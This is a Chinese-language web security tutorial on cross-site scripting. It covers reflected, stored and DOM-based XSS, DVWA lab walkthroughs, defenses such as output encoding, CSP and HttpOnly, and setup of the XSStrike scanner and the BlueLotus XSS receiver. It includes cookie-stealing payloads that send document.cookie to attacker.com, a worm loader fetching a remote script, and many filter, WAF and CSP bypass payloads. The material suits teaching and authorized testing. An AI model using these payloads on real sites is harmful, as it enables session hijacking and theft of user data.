Web渗透之前后端漏洞-XSS漏洞原理攻击防御全流程

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行，任何未经授权使用文中技术的行为均与作者无关，请务必遵守法律法规，获得许可后方可进行渗透测试。

目录太多了第一次放直接给文章吞了，就暂时不放目录了，先给个截图

一、XSS-反射型

反射型 XSS（Reflected Cross-Site Scripting）

一、定义与核心特征

反射型 XSS 是一种非持久性的跨站脚本攻击。恶意脚本不存储在目标服务器上，而是作为请求参数的一部分（通常通过 URL 或表单提交）发送给服务器，服务器直接将未经净化（sanitize）的参数值反射到响应页面中，最终在受害者的浏览器中执行。

“反射”二字的来源：攻击者的恶意数据像镜子一样被服务器“照单全收”并立即弹回给浏览器。

二、攻击原理（分步图解）

关键点：

• 恶意脚本从未被写入数据库，全程仅存在于 HTTP 请求和响应中。

• 受害者的浏览器信任来自目标域名的响应，因此会执行其中的脚本。

三、典型代码示例（漏洞与利用）

3.1 存在漏洞的后端代码（PHP + HTML）

<?php
  $search = $_GET['q'];
  echo "<h2>您搜索的关键词是：</h2>";
  echo "<p>" . $search . "</p>";   // 直接输出，未转义
?>

3.2 攻击者构造的恶意链接

http://victim.com/search.php?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

受害者的浏览器会：

• 向 attacker.com 发送包含其 Cookie 的请求 → 会话劫持

• 也可以直接弹窗钓鱼、伪造表单等

3.3 利用场景扩展（不仅仅是 URL 参数）

• Referer 头反射：某些网站会将 Referer 值原样打印到页面。

• User-Agent 反射：统计页面显示浏览器标识，未转义。

• 表单隐藏字段反射：POST 参数值被回显。

四、反射型 XSS 的危害

尽管反射型无法直接像存储型 XSS 那样“感染”其他用户，但结合社会工程学，它依然能造成严重破坏：

真实案例：2018 年某知名招聘网站反射型 XSS 漏洞曾导致求职者点击“简历预览”链接后，Cookie 被窃取，账户内简历信息被批量导出。

五、与其他 XSS 类型的对比

六、检测方法（手工 + 自动化）

6.1 手工测试步骤

6.2 自动化扫描工具

• Burp Suite (Intruder)：用 Payload 字典批量发包，检测响应中的反射模式。

• XSStrike：专门检测 XSS 的主动扫描工具，支持绕过 WAF。

• AWVS / AppScan：商业漏洞扫描器，通常能发现反射型 XSS。

6.3 利用浏览器的开发者工具

• 在 Network 面板查看请求参数是否完整返回。

• 在 Elements 面板查看注入点是否被解析为 HTML/JS 标签。

七、防御措施（纵深防御）

7.1 输出编码（最有效）

根据输出位置进行相应的转义：

安全函数示例：

• PHP：htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8')

• Java：StringEscapeUtils.escapeHtml4()

• Python：html.escape()

7.2 输入过滤与验证

• 白名单验证：数字、字母、特定格式（如日期）。

• 黑名单过滤：移除 <script>、javascript:、onload= 等危险字串（注意绕过风险）。

注意：输入过滤不能代替输出编码，因为攻击数据可能以不同方式进入服务器（如数据库存储后再输出）。

7.3 使用 HTTP 头增强防护

• Content-Security-Policy (CSP)：限制脚本来源，例如：

  Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'

  可以阻止执行内联 <script> 和 eval() 类代码。

• X-XSS-Protection（已废弃但仍有部分浏览器支持）：

  X-XSS-Protection: 1; mode=block

7.4 设置 Cookie 的 HttpOnly 标志

Set-Cookie: sessionid=abc123; HttpOnly

这样，即使存在 XSS，攻击者也无法通过 document.cookie 窃取该 Cookie。

八、反射型 XSS 的局限性

• 需要用户交互：必须诱使用户点击恶意链接或提交恶意表单。

• 可能被短链接服务屏蔽：某些平台会检测可疑域名。

• 部分浏览器内置 XSS 过滤器（已逐渐废弃）可能拦截。

• HTTPS 下的 Referer 头可能不携带完整 URL，影响攻击传递。

九、实战练习建议

在本地靶场环境中练习反射型 XSS 的发现与利用：

• DVWA (XSS reflected)：设置难度从 low 到 impossible，观察代码变化。

• bWAPP (Buggy Web Application)：包含反射型 XSS 的不同上下文实例。

• PortSwigger Web Security Academy：提供在线反射型 XSS 实验，附解题说明。

十、靶场演示

在 DVWA 的 Reflected XSS 模块中，通过注入 <script>alert(1)</script> 使浏览器弹窗，验证反射型 XSS 漏洞的存在。

操作步骤

启动靶场并登录

• 确保 DVWA 环境已配置（如使用 XAMPP、Docker 或在线靶场）

• 访问 DVWA 首页，输入用户名/密码（默认 admin/password）

• 在左侧菜单中将 Security Level 设置为 low

进入反射型 XSS 模块

• 点击左侧导航栏 XSS (Reflected)

观察正常输入

• 页面上方有一个输入框：“What's your name?”

• 正常输入任意字符串（例如 test），点击 Submit 按钮

• 页面会显示：Hello test，URL 变成类似：

  http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=test#

注入恶意脚本

• 在输入框中输入：

  <script>alert(1)</script>

  

• 点击 Submit 按钮

触发漏洞

• 浏览器立即弹出一个对话框，内容为 1

• 同时 URL 变为：

  http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert(1)</script>

  

漏洞原理解析

查看 DVWA Low 级别的后端源码：

<?php
header ("X-XSS-Protection: 0");   // 关闭浏览器自带的XSS过滤器
​
if( array_key_exists( "name", $_GET ) && $_GET[ "name" ] != NULL ) {
  echo '<pre>Hello ' . $_GET[ "name" ] . '</pre>';
}
?>

• 没有对 name 参数做任何过滤或转义，直接将用户输入拼接到 HTML 中

• 输入 <script>alert(1)</script> 后，最终返回给浏览器的 HTML 片段为：

  <pre>Hello <script>alert(1)</script></pre>

• 浏览器解析 HTML 时，将 <script> 视为 JavaScript 代码并执行

反射型 XSS 的关键特征

• 恶意脚本不存储在服务器，仅通过 URL 参数或表单传递

• 需要诱导用户点击特制链接（例如：http://dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script>）

• 服务器立即“反射”输入内容到响应页面

十一、总结

反射型 XSS 虽然不是最危险的 XSS 类型（存储型通常危害更大），但它由于出现频率高、检测简单、修复容易，是渗透测试入门必须掌握的漏洞之一。开发人员应当牢记：

所有用户输入的数据在输出到 HTML 之前都必须进行上下文敏感的编码，永远不要信任浏览器会无害化处理。

二、XSS-储存型

存储型 XSS（Stored Cross-Site Scripting）

一、定义与核心特征

存储型 XSS 是一种持久性的跨站脚本攻击。恶意脚本被永久存储在目标服务器上（如数据库、文件系统、评论框等），当其他受害者访问包含该恶意脚本的页面时，脚本会自动从服务器加载并在其浏览器中执行。

“存储”二字的来源：攻击者的恶意数据像“毒药”一样被保存在服务器中，每个访问该页面的用户都会“中毒”。

二、攻击原理（分步图解）

关键点：

• 恶意脚本持久化存储在服务器端，无需再次注入。

• 任何访问受影响页面的用户都可能成为受害者，攻击半径极大。

三、典型代码示例（漏洞与利用）

3.1 存在漏洞的后端代码（PHP + MySQL）

// 存储评论（写入数据库）
$comment = $_POST['comment'];
$query = "INSERT INTO comments (content) VALUES ('$comment')";
mysql_query($query);
​
// 显示评论（从数据库读取）
$result = mysql_query("SELECT content FROM comments");
while($row = mysql_fetch_array($result)){
  echo "<div>" . $row['content'] . "</div>";   // 直接输出，未转义
}

3.2 攻击者提交的恶意评论

<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

此后，所有访问该留言板的用户，浏览器都会自动向攻击者服务器发送其 Cookie。

3.3 常见存储点

• 评论区、论坛帖子、留言板

• 用户个人资料（昵称、签名、自我介绍）

• 商品评价、问答区

• 聊天记录（WebSocket 实时消息）

• 文件上传后的文件名/描述

四、存储型 XSS 的危害（对比反射型更严重）

著名案例：

• Samy 蠕虫（2005）：在 MySpace 上利用存储型 XSS，20 小时内感染超过 100 万用户。

• Twitter（2010）：通过“onmouseover”事件注入，导致用户鼠标划过即转发恶意推文。

五、与反射型 XSS 的对比

六、检测方法

6.1 手工测试步骤

6.2 自动化工具

• Burp Suite (Active Scan)：自动提交 payload 并检查页面响应。

• XSStrike：支持存储型 XSS 的检测与模糊测试。

• AWVS / AppScan：商业扫描器中通常有存储型 XSS 检测模块。

6.3 需要注意的地方

• 存储型 XSS 可能不在同一个页面提交和显示（如管理员审核面板、用户个人页），因此需要遍历所有输出点。

• 有些存储型 XSS 需要特定权限才可见（如管理员后台），普通用户注入的 payload 可能在后台被执行，形成“二阶 XSS”。

七、防御措施（纵深防御）

7.1 输出编码（最有效，与反射型相同）

安全函数示例：

• PHP：htmlspecialchars($input, ENT_QUOTES, 'UTF-8')

• Java：StringEscapeUtils.escapeHtml4()

• Python：html.escape()

• .NET：WebUtility.HtmlEncode()

7.2 输入过滤与白名单

• 对富文本内容（如允许 <b>、<i>）使用安全的解析库（如 DOMPurify、HTML Purifier），剔除危险标签和事件属性。

• 限制输入长度，降低攻击载荷的复杂度。

7.3 使用 Content Security Policy (CSP)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'

• 禁止执行内联脚本（script-src 'unsafe-inline' 被移除）。

• 限制脚本只能从特定域名加载。

7.4 Cookie 安全属性

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

• HttpOnly：禁止 JavaScript 访问 Cookie。

• Secure：仅通过 HTTPS 传输。

• SameSite=Strict：限制跨站请求携带 Cookie。

7.5 其他加固措施

• 开启浏览器内置 XSS 过滤器（但作用有限，且在逐渐废弃）。

• 使用框架的自动转义功能（如 React 默认转义、Angular 的上下文安全）。

• 定期审查数据库中的用户输入，清理可疑脚本（作为事后补救）。

八、存储型 XSS 的绕过技巧（攻击者视角）

防御总是滞后于攻击，了解绕过手段有助于加强防护。

九、实战练习建议

在本地靶场中练习存储型 XSS 的发现与利用：

推荐练习步骤：

十、靶场演示

在 DVWA 的 Stored XSS 模块中，通过留言板的 Name 字段注入 <script>alert(1)</script>，使得该脚本永久存储到数据库，每次访问页面时自动执行。

详细操作步骤

1、环境准备

• 确保 DVWA 安全级别设置为 low

• 登录 DVWA（默认 admin/password）

• 点击左侧导航 XSS (Stored)

2、观察正常功能

页面是一个留言板（Guestbook），包含两个输入框：

• Name（名字）

• Message（留言内容）

• 提交后，下方会显示所有访客的姓名和留言。

3、尝试直接注入（遇到长度限制）

• 在 Name 输入框中输入：<script>alert(1)</script>

• 发现输入框最多只能输入 10 个字符（HTML 中 maxlength=10），无法完整输入 payload。

  

4、绕过前端长度限制

• 在页面上右键 → 检查元素（或按 F12 打开开发者工具）

• 找到 Name 输入框对应的 HTML 代码：

  <input type="text" maxlength="10" size="30" name="txtName">

  

• 双击 maxlength="10"，将其修改为一个较大的值（如 100）或直接删除该属性。

• 修改后，输入框不再限制长度。

5、注入恶意脚本

• 在 Name 输入框中输入：<script>alert(1)</script>

• Message 输入框可以留空或填写任意内容（如 1）

• 点击 Sign Guestbook 按钮提交。

  

6、触发存储型 XSS

• 提交后，页面刷新，留言板下方会显示：

  Name: <script>alert(1)</script>
  Message: 1

• 同时浏览器立即弹出一个对话框，内容为 1（说明脚本已执行）

  

• 即使刷新页面或重新进入该模块，弹窗依然会出现 —— 因为恶意脚本已存储在数据库中。

漏洞原理解析

查看 DVWA Low 级别的后端源码：

$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
​
// 对输入进行转义（防止SQL注入）
$message = mysql_real_escape_string($message);
$name = mysql_real_escape_string($name);
​
// 插入数据库
$query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name')";
​
// 显示留言时直接输出：
// echo "<div>Name: " . $name . "</div>";

• 数据库转义（mysql_real_escape_string）只防止 SQL 注入，不转义 HTML 标签。

• 从数据库取出 $name 后，直接拼接进 HTML 页面，没有使用 htmlspecialchars() 等输出编码函数。

• 因此 <script> 标签被浏览器正常解析执行

十一、总结

存储型 XSS 是 XSS 类型中危害最大的一种，因为它无需用户交互即可影响大量用户。防御的核心原则是：

永远不要信任任何从数据库中取出的数据，在输出时必须进行上下文敏感的编码。

对于开发团队，建议采用框架级自动转义 + 内容安全策略（CSP） 作为主要防线，并定期进行安全审计和自动化扫描。

三、XSS-DOM型

DOM 型 XSS（DOM-based Cross-Site Scripting）

一、定义与核心特征

DOM 型 XSS 是一种纯客户端的跨站脚本攻击。漏洞不在服务器端代码，而是由于前端 JavaScript 在操作 DOM 时，不安全地处理用户可控的输入（如 document.location、document.referrer、location.hash 等），并将恶意数据直接写入 HTML 或执行，从而导致脚本在受害者浏览器中执行。

与反射型/存储型的本质区别：恶意脚本不需要经过服务器，完全是浏览器端的安全问题。服务器返回的页面本身是正常的，但页面中包含的 JavaScript 代码存在缺陷。

二、攻击原理（分步图解）

关键点：

• 服务器响应完全不包含恶意代码。

• 恶意代码是在客户端由 JavaScript 动态生成并执行。

• URL 中的 #（片段标识符）部分不会发送到服务器，因此难以通过日志检测。

三、典型漏洞代码示例

3.1 危险写法 1：直接操作 location.hash

// 漏洞代码：从hash中获取参数并直接写入HTML
var name = location.hash.substring(1); // 获取 # 后面的内容
document.getElementById("welcome").innerHTML = "Hello " + name;

攻击者构造：http://victim.com/index.html#<img src=x onerror=alert(1)>

3.2 危险写法 2：使用 document.write

// 漏洞代码：从URL参数中读取并写入
var param = location.search.split('=')[1];
document.write(param);

攻击者构造：http://victim.com/index.html?name=<script>alert(1)</script>

3.3 危险写法 3：使用 eval 或 setTimeout 拼接字符串

// 漏洞代码：动态执行代码
var callback = location.hash.substring(1);
eval(callback);   // 如果传入 "alert(1)" 就会执行

3.4 危险写法 4：修改 innerHTML 或 outerHTML

var userInput = location.search.split('=')[1];
document.getElementById("output").innerHTML = userInput;

四、DOM 型 XSS 的常见注入源

五、与反射型/存储型 XSS 的对比

六、DOM 型 XSS 的危害

与反射型/存储型类似，但由于它完全绕过服务器，有以下特殊危害：

• 隐蔽性极高：# 后的内容不会出现在服务器日志，难以溯源。

• 可配合前端路由：现代 SPA 应用（React、Vue、Angular）中，若使用不安全的 innerHTML 或 dangerouslySetInnerHTML，极易出现 DOM XSS。

• 绕过常见防护：服务器端的 htmlspecialchars() 和 WAF 规则无法防御，因为它们根本看不到恶意数据。

• 影响范围：单次点击（同反射型），但若与存储结合（如将恶意链接保存在数据库中），可变成存储型 DOM XSS。

七、检测方法

7.1 手工测试

7.2 查看前端代码

• 打开浏览器开发者工具 → 查看页面中是否存在以下危险函数：

  • innerHTML、outerHTML

  • document.write()

  • eval()、setTimeout()、setInterval() 带动态参数

  • location.hash / location.search 被直接使用

7.3 自动化工具

• DOMinator：专门检测 DOM XSS 的工具。

• Burp Suite 的 DOM Invader：内置的 DOM XSS 检测模块。

• Google 的 DOM Snitch：浏览器扩展，监控危险 sink 函数。

八、防御措施

8.1 避免使用危险的 sink 函数

• 尽量使用 textContent 或 innerText 替代 innerHTML。

• 避免使用 document.write()（已被现代开发模式淘汰）。

• 禁用 eval()、new Function()，或严格审查传入的字符串。

8.2 使用安全的 API

• DOMPurify：对 HTML 内容进行净化，剔除危险标签和属性。

• sanitize-html（Node.js 端）或前端类似库。

8.3 输出编码（前端也要做）

// 自定义转义函数
function escapeHTML(str) {
  return str.replace(/[&<>]/g, function(m) {
      if (m === '&') return '&amp;';
      if (m === '<') return '&lt;';
      if (m === '>') return '&gt;';
      return m;
  });
}
document.getElementById("out").textContent = escapeHTML(userInput);

8.4 启用 CSP（内容安全策略）

• CSP 可以限制 eval() 的执行，并禁止内联脚本。

• 使用 strict-dynamic 和 nonce 机制。

8.5 对 URL 参数进行严格校验

• 如果必须使用 location.hash，应采用白名单方式，而不是直接插入 DOM。

九、DOM 型 XSS 的绕过技巧（攻击者视角）

十、实战练习（DVWA DOM XSS）

Medium/High 级别会尝试过滤 <script> 等关键字，可以使用 <img src=x onerror=alert(1)> 或大小写绕过。

十一、总结

DOM 型 XSS 是前端安全的核心问题，随着单页应用（SPA）的流行，它的危害也在增加。防御的关键在于：

• 永远不要信任客户端的数据源（URL、hash、referrer）。

• 使用安全的 DOM 操作方法（textContent 代替 innerHTML）。

• 实施 Content Security Policy 作为最后一道防线。

四、XSS-常用payload

以下汇总了 XSS 攻击中常用的有效载荷（Payload），按功能和应用场景分类。所有内容仅供安全测试和学习使用，请勿用于非法用途。

一、基础验证 Payload（用于确认漏洞存在）

二、窃取 Cookie 与会话劫持

注意：如果 Cookie 设置了 HttpOnly，则 document.cookie 无法读取，但其他敏感信息（如页面内容、token）仍可能被窃取。

三、键盘记录与表单劫持

四、内网探测与端口扫描

五、钓鱼与欺骗

六、绕过长度限制

七、绕过标签过滤（WAF 绕过技巧）

7.1 大小写混淆

• <ScRiPt>alert(1)</sCrIpT>

7.2 双写关键字

• <scr<script>ipt>alert(1)</scr</script>ipt>（过滤后留下 <script>alert(1)</script>）

7.3 使用 HTML 实体编码

• <script>alert(1)</script>

7.4 使用 Unicode 编码

• <script>\\u0061\\u006c\\u0065\\u0072\\u0074(1)</script>

7.5 使用 javascript: 伪协议

• <a href="javascript:alert(1)">click</a>

• <iframe src="javascript:alert(1)">

7.6 使用事件属性（无需 <script> 标签）

7.7 利用 CSS 表达式（仅旧版 IE）

• <div style="width:expression(alert(1))">

7.8 利用 <meta> 刷新

• <meta http-equiv="refresh" content="0;javascript:alert(1)">

八、DOM 型 XSS 专用 Payload

九、存储型 XSS 持久 Payload

• XSS 蠕虫：通过脚本自动发帖、关注、评论，感染更多用户。

  // 假设留言表单的提交函数是 post_comment()
  var script = document.createElement('script');
  script.src = 'http://attacker.com/xss_worm.js';
  document.body.appendChild(script);
  // worm.js 中包含自动提交恶意留言的代码

• 后台管理盲打：注入到后台管理页面，窃取管理员 Session。

  <script>new Image().src='http://attacker.com/steal?url='+location.href+'&cookie='+document.cookie</script>

十、测试 Payload 速查表

以下 Payload 可按顺序测试目标是否存在 XSS：

注意事项

• HttpOnly Cookie 无法通过 document.cookie 读取，但其他敏感信息（如页面中的 token、CSRF token）仍可能被窃取。

• CSP 可以阻止大部分内联脚本和 eval()，需要使用更复杂的绕过（如利用现有白名单资源、base-uri 等）。

• 所有测试必须在授权环境下进行，未经授权使用这些 Payload 属于违法行为。

五、XSS-防御和绕过

XSS 的攻防是一场持续的博弈。防御方需要层层设防（纵深防御），而攻击方则不断寻找过滤规则中的漏洞。以下从防御措施和绕过技术两个维度详细展开，所有内容仅供授权安全测试使用。

一、XSS 防御体系（多层次防御）

1. 输出编码（最核心、最有效）

无论用户输入如何，在输出到 HTML 页面时，根据上下文进行正确的编码，使恶意代码失去执行能力。

关键原则：不要试图“过滤”输入，而要“编码”输出。输入过滤很可能被绕过，但正确的输出编码能确保任何危险字符都变成无害的文本。

2. 内容安全策略（CSP）

CSP 是浏览器提供的最后一道防线，可以极大限制 XSS 的影响。

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';

推荐配置（严格模式）：

Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';

重要指令：

• script-src 'nonce-<random>'：仅允许包含特定 nonce 的内联脚本执行。

• script-src 'strict-dynamic'：信任已加载的脚本动态创建的其他脚本。

• object-src 'none'：禁止 Flash 等插件。

• base-uri 'self'：限制 <base> 标签，防止脚本路径劫持。

CSP 虽然强大，但配置复杂且可能破坏原有功能，需要逐步部署。

3. 输入过滤与白名单

对于特定格式的输入（如邮件地址、数字 ID），使用白名单正则验证。对于富文本（如博客评论），使用安全解析库（而非自己写正则）。

推荐库：

• HTML Purifier (PHP)

• DOMPurify (JavaScript)

• Jsoup (Java)

• Sanitize (Ruby)

示例（DOMPurify）：

var clean = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href']
});

4. Cookie 安全属性

• HttpOnly：禁止 JavaScript 读取 Cookie（防止窃取）。

• Secure：仅通过 HTTPS 传输。

• SameSite=Strict 或 Lax：限制跨站请求携带 Cookie，可缓解部分 XSS+CSRF 组合攻击。

5. 使用安全的 API 避免 DOM XSS

危险（禁止使用）：

element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 0);

安全替代：

element.textContent = userInput;     // 纯文本，不解析HTML
element.innerText = userInput;       // 同上
element.setAttribute('data-xxx', userInput);   // 属性值会自动转义（但注意危险属性如 href）

6. 框架自带防护

• React：默认转义所有动态内容（除非使用 dangerouslySetInnerHTML）。

• Angular：默认转义，且内置消毒剂（DomSanitizer）。

• Vue：双花括号 {{ }} 转义；v-html 危险。

• jQuery：.text() 安全，.html() 危险。

7. 其他辅助措施

• X-XSS-Protection（已废弃但部分浏览器仍支持）：X-XSS-Protection: 1; mode=block。

• 子资源完整性（SRI）：防止 CDN 上的脚本被篡改。

• 定期安全扫描（使用 Burp、XSStrike 等工具）。

二、XSS 绕过技术（攻击者视角）

防御措施总是有漏洞可寻，以下是常见的绕过方法。仅用于渗透测试或 CTF 比赛，严禁非法使用。

1. 绕过输出编码

1.1 利用未编码的上下文

即使使用了 htmlspecialchars()（默认只编码 <>&"'），以下情况仍然危险：

<!– 在 script 标签内部，需要 JS 转义而非 HTML 转义 –>
<script>
  var msg = '<?php echo htmlspecialchars($user); ?>'; // 若 $user = '; alert(1); //' 会闭合字符串
</script>

防御：对 JS 字符串使用 json_encode() 或 addslashes()。

1.2 利用 UTF-7 编码（已过时，但旧浏览器可能生效）

+ADw-script+AD4-alert(1)+ADw-/script+AD4-

浏览器若错误解析为 UTF-7，则执行。现代浏览器默认 UTF-8，基本无效。

1.3 利用十六进制/Unicode 绕过检查

如果后端过滤了 <script> 但未递归解码，可以：

<scr&#x69;pt>alert(1)</scr&#x69;pt>

后端看到 i 不会匹配，但浏览器解析成字母。

2. 绕过标签/事件黑名单

很多防御只过滤 <script> 标签，但存在大量其他触发点。

2.1 使用 <img> 或 <svg>

<img src=x οnerrοr=alert(1)>
<svg οnlοad=alert(1)>

2.2 使用其他标签及其事件

2.3 使用 CSS 表达式（仅 IE 旧版）

<div style="width:expression(alert(1))">

但现代浏览器不支持。

3. 绕过基于关键字的过滤（WAF）

3.1 大小写混写

<ScRiPt>alert(1)</sCrIpT>

3.2 双写关键字（如果过滤器只删除一次）

<scr<script>ipt>alert(1)</scr</script>ipt>

删除后剩下 <script>alert(1)</script>。

3.3 使用注释干扰

<script>/*test*/alert(1)/*test*/</script>

或

<script>alert(1)//</script>

3.4 利用换行/回车/制表符

<img src=x οnerrοr=alert(1)>

3.5 使用 HTML5 新标签

<video><source οnerrοr=alert(1)>

3.6 利用 javascript: 伪协议（需要用户交互）

<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

4. 绕过长度限制

当输入框有长度限制（如 10 字符），可以：

• 修改前端 maxlength（最简单）。

• 使用短 payload：

  • <svg/onload=alert(1)>（22 字符）

  • <body/onload=alert(1)>（23 字符）

  • <q/oncut=alert(1)>（20 字符）

• 加载外部脚本：

  <script src="//attacker.com/x.js"></script>

5. 绕过 CSP

CSP 严格时，不能执行内联脚本，但仍有绕过可能：

• 利用现有白名单域名的 JSONP 接口：

  <script src="https://trusted.com/api?callback=alert(1)"></script>

• 利用 base-uri 未限制：修改 <base> 标签，使相对路径的脚本指向攻击者服务器。

• 利用 link 预加载：在某些浏览器可将内容注入到不安全上下文。

• 利用 object 或 embed：如果 object-src 未严格限制，可嵌入恶意 Flash。

• 利用 AngularJS 模板注入（如果页面使用 AngularJS 1.x 且 CSP 未限制 unsafe-eval）：

  <div ng-app>{{constructor.constructor('alert(1)')()}}</div>

• 利用 script-src 中的 'unsafe-inline'：如果策略允许内联脚本，则直接注入。

6. 绕过 HttpOnly 窃取 Cookie

HttpOnly 无法通过 document.cookie 读取，但可以：

• 利用 CSRF + XSS：通过 XSS 发起请求，让浏览器自动携带 Cookie 执行恶意操作（如修改密码）。

• 窃取页面内的其他敏感信息：如 CSRF Token、API 密钥、用户资料。

• 利用浏览器漏洞（极少见）。

7. DOM XSS 特殊绕过

• 使用 location.hash：服务器日志不会记录 # 后内容，WAF 也看不到。

• 利用 document.referrer：构造恶意页面，设置 document.referrer。

• 利用 window.name：攻击者用 window.name 传递 payload，不依赖 URL。

三、防御与绕过的对抗演进（示例）

四、测试建议与工具

手动测试步骤

自动化工具

• XSStrike：强大的 XSS 扫描 + 绕过 payload 生成。

• Burp Suite Intruder：使用 XSS payload 字典模糊测试。

• dalfox：快速 XSS 扫描。

• XSS payload 生成器：如 xss-cheat-sheet 项目。

五、总结

防御方核心原则：

• 输出编码（根据上下文）

• CSP 严格限制

• 使用安全的 DOM API

• 不依赖黑名单过滤

攻击方核心思路：

• 寻找防御的“灰色地带”（未被转义的位置、允许的标签/事件）

• 利用浏览器解析与后端过滤的差异

• 绕过输入长度、关键字、编码处理

合法边界：所有绕过技术仅可用于自己拥有授权的系统或本地测试环境。

六、XSS-XSSstrike

XSStrike 是一款基于上下文分析的下一代 XSS 扫描工具，通过智能解析而非盲目注入来“理解”漏洞，大幅降低误报率，官方宣称“零误报”。它专为高对抗环境设计，内置了30 余种 WAF 指纹库及自动绕过功能，善于发现 DOM 型 XSS 和需要多层跳转的“盲打”漏洞，还支持并发爬虫和多种编码变形。

1、核心优势

2、核心架构解析

XSStrike 的威力建立在其精心设计的四层架构之上：

代码结构解析

3、详细安装指南

环境要求

• 操作系统：Linux, Windows 7+, macOS, Termux

• Python 版本：3.4 或更高版本

标准安装步骤

# 1. 克隆官方仓库
git clone https://github.com/s0md3v/XSStrike.git
​
# 2. 进入项目目录并安装依赖
cd XSStrike
pip install -r requirements.txt
​
# 3. 验证安装（显示帮助信息即为成功）
python xsstrike.py -h

Kali Linux 快捷方式

# 直接下载 .deb 包安装
wget https://github.com/s0md3v/XSStrike/releases/download/3.1.6/xsstrike_3.1.6_all.deb
dpkg -i xsstrike_3.1.6_all.deb

常见安装问题

• ModuleNotFoundError: No module named fuzzywuzzy：

  pip3 install fuzzywuzzy python-Levenshtein

• Python版本不匹配：项目根目录有 python3 shebang，务必用 python3 xsstrike.py 执行，而非 python。

4、命令行接口与操作模式

全部参数一览

四种核心工作模式

常用命令速查表

结果输出

找到漏洞后，命令窗口会及时输出发现的信息，包括：

• 具体发现漏洞的 URL、受影响的参数

• 推荐的验证 Payload（如 <script>alert(1)</script> 或 <img src=x onerror=alert(1)>）

• Efficiency（效率）和 Confidence（置信度）评分

5、核心技术与检测流程

智能检测工作流

与传统工具不同，XSStrike 使用解析器分析响应，然后通过与模糊引擎集成的上下文分析来制作保证工作的有效负载。

6、WAF 绕过机制

WAF 指纹识别

XSStrike 通过分析响应码、页面内容变化及过滤模式，自动识别 WAF 类型（如 Cloudflare, ModSecurity）。

内置 Bypass 策略

Tamper 脚本机制

用户可编写自定义 Tamper 脚本对 Payload 进行编码混淆，配置位于 plugins/ 目录。执行时使用 –tamper 参数调用，例如：

python xsstrike.py -u "http://target.com/search?q=test" –tamper "base64,uppercase"

7、自定义 Payload 实现

核心文件：db/definitions.json

该文件定义了 XSStrike 的 Payload 库，结构如下：

{
"payloads": {
  "HTML": ["<svg/οnlοad=alert(1)>", "<img src=x οnerrοr=alert(1)>"],
  "JavaScript": ["';alert(1);//", "\\"+alert(1)+\\""],
  "DOM": ["javascript:alert(1)"]
}
}

添加业务特定 Payload，如金融系统可用 "><svg/onload=alert(document.cookie)>。

自定义模块扩展

如需深度定制，可编辑 core/generator.py 的逻辑算法，或创建第三方 Hook 插件注入 plugins/ 目录。

盲注 Payload 配置

盲注 Payload 通过 core/config.py 中的 BLIND_PAYLOADS 配置列表注入到每个 HTML 表单中。

8、实战场景与最佳实践

场景一：反射型 XSS（搜索框）

python xsstrike.py -u "https://shop.com/search?query=test" –fuzzer

通过模糊测试引擎寻找反射点，自动生成闭合引号的 Payload。

场景二：DOM 型 XSS（前端框架）

python xsstrike.py -u "https://target.com" –dom

分析 URL Hash、document.write 及 Sink 函数，挖掘客户端漏洞。

场景三：存储型 XSS（盲打）

python xsstrike.py -u "http://example.com" –crawl –blind

爬取网站并注入盲测 Payload，通过反连平台检测存储型漏洞。

最佳实践清单

• 循序渐进测试：先进行轻量级单 URL 扫描，确认可行后启用 –crawl 全面评估。

• 合法授权原则：严格遵守法律法规，测试需经授权。

• 结果验证确认：对自动发现的漏洞进行手工 PoC 验证。

• 定期更新维护：定期拉取最新代码获取 WAF 指纹和 Payload 更新。

9、常见故障排除

七、XSS-BlueLotusXSS

BlueLotus（蓝莲花）是一个专为XSS漏洞验证打造的轻量级数据接收平台。与BeEF等复杂的浏览器利用框架不同，BlueLotus的核心目标非常纯粹：当一个XSS漏洞被触发时，它能可靠、详尽地接收并记录攻击返回的数据。

它的设计哲学是极致的“简约”，这使得它在特定场景下极具优势。

• 极致简约的设计哲学：它采用无数据库设计，零依赖，非常适合初学者或需要快速部署的场景。

• “接收器”而非“利用框架”：BlueLotus专注于“接收”，即等待浏览器自动回传数据。而BeEF则更主动，一旦“钩住”（Hook）浏览器，就可以执行大量复杂指令，如内网探测、键盘记录等

1、核心功能

2、安装与部署

蓝莲花平台使用 PHP 编写，无需 MySQL 等数据库支持，部署非常轻量。

• 环境要求：一个能运行 PHP 的 Web 服务器即可，例如 Apache 或 Nginx。

• 详细安装步骤

  1. 获取源码 (下载)

  项目源码托管在 GitHub 上，作者为 firesunCN。这是一个轻量级无SQL版本的平台，仅供学习研究使用。

  • 官方唯一推荐下载地址：

    • GitHub主仓库：https://github.com/firesunCN/BlueLotus_XSSReceiver

    • Gitee镜像仓库：https://gitee.com/evlon/BlueLotus_XSSReceiver

  2. 配置Web环境

  下载并解压好源码后，接着配置环境。

  • 配置Web服务：安装Apache为Web服务器，并配置PHP环境来运行程序。

  • 设置目录权限：为确保平台能正常读写文件，需要给特定文件夹写权限。

    # 进入源码根目录
    cd /path/to/BlueLotus_XSSReceiver
    # 授予当前目录及其所有子目录写权限
    sudo chmod 777 -R ./

  3. 运行安装向导

  在浏览器中访问 http://你的服务器地址/BlueLotus_XSSReceiver-master/install.php。

  不要点安装按钮，按照页面提示操作

  

